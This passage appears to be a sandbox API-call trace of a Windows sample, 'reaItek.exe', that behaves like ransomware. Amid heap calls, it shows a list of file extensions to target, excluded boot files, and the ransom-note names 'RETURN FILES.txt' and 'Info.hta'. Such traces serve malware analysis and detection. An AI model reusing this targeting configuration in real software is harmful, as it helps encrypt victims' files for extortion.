Flags=0x0, Size=0xc) returned 0x64bdb8 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bd58 [0094.478] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6045a0, Size=0x100) returned 0x605fd0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bd88 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bde8 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bda0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64bc38 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64be48 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64be78 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603470 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64be90 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64be00 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bce0 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x6034e0 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bcf8 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bd10 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603520 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64be18 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bd70 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64be30 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bc20 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bd28 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bbd8 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64bc50 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bd40 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64bf38 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bf20 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bf08 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bf50 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bf68 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603480 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bec0 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bed8 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bef0 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64afd8 [0094.479] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x200) returned 0x605fd0 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b128 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6034b0 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b2a8 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b1d0 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b098 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b248 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b158 [0094.479] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b0b0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b0c8 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b080 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b278 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b290 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b170 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b110 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b1e8 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64afc0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b0e0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b200 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b188 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b1a0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64aff0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b260 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b140 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6034c0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b008 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b0f8 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b218 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603380 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b068 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b020 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b038 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b050 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b1b8 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b230 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b458 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b500 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b428 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b320 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b590 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b2f0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b3b0 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b4e8 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b338 [0094.480] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b4b8 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b398 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b380 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b440 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b2c0 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b530 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6034f0 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x603500 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b308 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b3c8 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b2d8 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b3e0 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b3f8 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b470 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b410 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b368 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b350 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b488 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b4a0 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b5a8 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b4d0 [0094.481] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x400) returned 0x605fd0 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b518 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b548 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b560 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b578 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b668 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b848 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b608 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b680 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b770 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b5f0 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603540 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b698 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b830 [0094.481] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b620 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b788 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b6b0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b7e8 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64b7b8 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b6c8 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b638 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b5d8 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b650 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b6e0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b7d0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b6f8 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b710 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603510 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b7a0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b758 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b728 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b740 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b860 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b8a8 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b800 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b818 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b878 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64b890 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b5c0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64b9b0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64ba40 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b8c0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b8f0 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b920 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bba8 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64ba28 [0094.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b9f8 [0094.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x800) returned 0x64d398 [0094.483] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0094.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x619728 | out: hHeap=0x5c0000) returned 1 [0094.483] lstrlenW (lpString="") returned 0 [0094.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c040 | out: hHeap=0x5c0000) returned 1 [0094.483] lstrlenW (lpString=".BSC") returned 4 [0094.483] lstrlenW (lpString=".BSC") returned 4 [0094.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c040 | out: hHeap=0x5c0000) returned 1 [0094.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c058, Size=0x20) returned 0x5fe7c8 [0094.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe7c8, Size=0x40) returned 0x5da4f8 [0094.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da4f8, Size=0x80) returned 0x604848 [0094.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64cfe0, Size=0x8) returned 0x64d0b0 [0094.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d0b0, Size=0x10) returned 0x64c058 [0094.483] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c058, Size=0x20) returned 0x5feb38 [0094.484] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0094.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604848 | out: hHeap=0x5c0000) returned 1 [0094.484] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c4c0, Size=0x20) returned 0x5fe908 [0094.484] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe908, Size=0x40) returned 0x5da1e0 [0094.484] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0094.484] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0094.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5da1e0 | out: hHeap=0x5c0000) returned 1 [0094.484] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c2c8, Size=0x20) returned 0x5febb0 [0094.484] lstrlenW (lpString="Info.hta") returned 8 [0094.484] lstrlenW (lpString="Info.hta") returned 8 [0094.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5febb0 | out: hHeap=0x5c0000) returned 1 [0094.484] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x64dba0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\reaItek.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\reaitek.exe")) returned 0x23 [0094.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64dba0 | out: hHeap=0x5c0000) returned 1 [0094.484] lstrlenW (lpString="reaItek.exe") returned 11 [0094.484] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feb38, Size=0x40) returned 0x5da030 [0094.484] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c3b8, Size=0x20) returned 0x5fe7c8 [0094.485] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c3b8, Size=0x20) returned 0x5fe9a8 [0094.485] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe9a8, Size=0x40) returned 0x5da3d8 [0094.485] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da3d8, Size=0x80) returned 0x604518 [0094.485] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604518, Size=0x100) returned 0x605fd0 [0094.485] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0094.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605fd0 | out: hHeap=0x5c0000) returned 1 [0094.485] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x64dba0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0094.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x65dba8 | out: hHeap=0x5c0000) returned 1 [0094.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64dba0 | out: hHeap=0x5c0000) returned 1 [0094.486] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d010, Size=0x8) returned 0x64d030 [0094.486] lstrlenW (lpString="%windir%;") returned 9 [0094.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe7c8 | out: hHeap=0x5c0000) returned 1 [0094.486] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0094.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63af78 | out: hHeap=0x5c0000) returned 1 [0094.486] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c598, Size=0x20) returned 0x5fe908 [0094.486] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe908, Size=0x40) returned 0x5da108 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da108, Size=0x80) returned 0x604f30 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604f30, Size=0x100) returned 0x605fd0 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d050, Size=0x8) returned 0x64cfe0 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64cfe0, Size=0x10) returned 0x64c3a0 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c3a0, Size=0x20) returned 0x5fea70 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64cff0, Size=0x8) returned 0x64d110 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d040, Size=0x8) returned 0x64d050 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d040, Size=0x8) returned 0x64d130 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d130, Size=0x10) returned 0x64c3e8 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c3e8, Size=0x20) returned 0x5fea48 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d110, Size=0x10) returned 0x64c400 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d050, Size=0x10) returned 0x64c418 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d040, Size=0x8) returned 0x64cfe0 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d060, Size=0x8) returned 0x64cff0 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c400, Size=0x20) returned 0x5fe7f0 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c418, Size=0x20) returned 0x5fe908 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d090, Size=0x8) returned 0x64d180 [0094.487] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0094.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605fd0 | out: hHeap=0x5c0000) returned 1 [0094.487] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64c4a8, Size=0x20) returned 0x5feb10 [0094.487] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x63af78, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0094.487] lstrlenW (lpString="C:\\") returned 3 [0094.487] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63af78 | out: hHeap=0x5c0000) returned 1 [0094.488] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d1a0, Size=0x82) returned 0x606060 [0094.488] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64d060, Size=0x100) returned 0x6060f0 [0094.488] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x606060, Size=0x104) returned 0x606318 [0094.488] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6060f0, Size=0x200) returned 0x619728 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64d050 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x619728 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c568 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6041e8 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c400 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604e20 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64c418 | out: hHeap=0x5c0000) returned 1 [0094.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606318 | out: hHeap=0x5c0000) returned 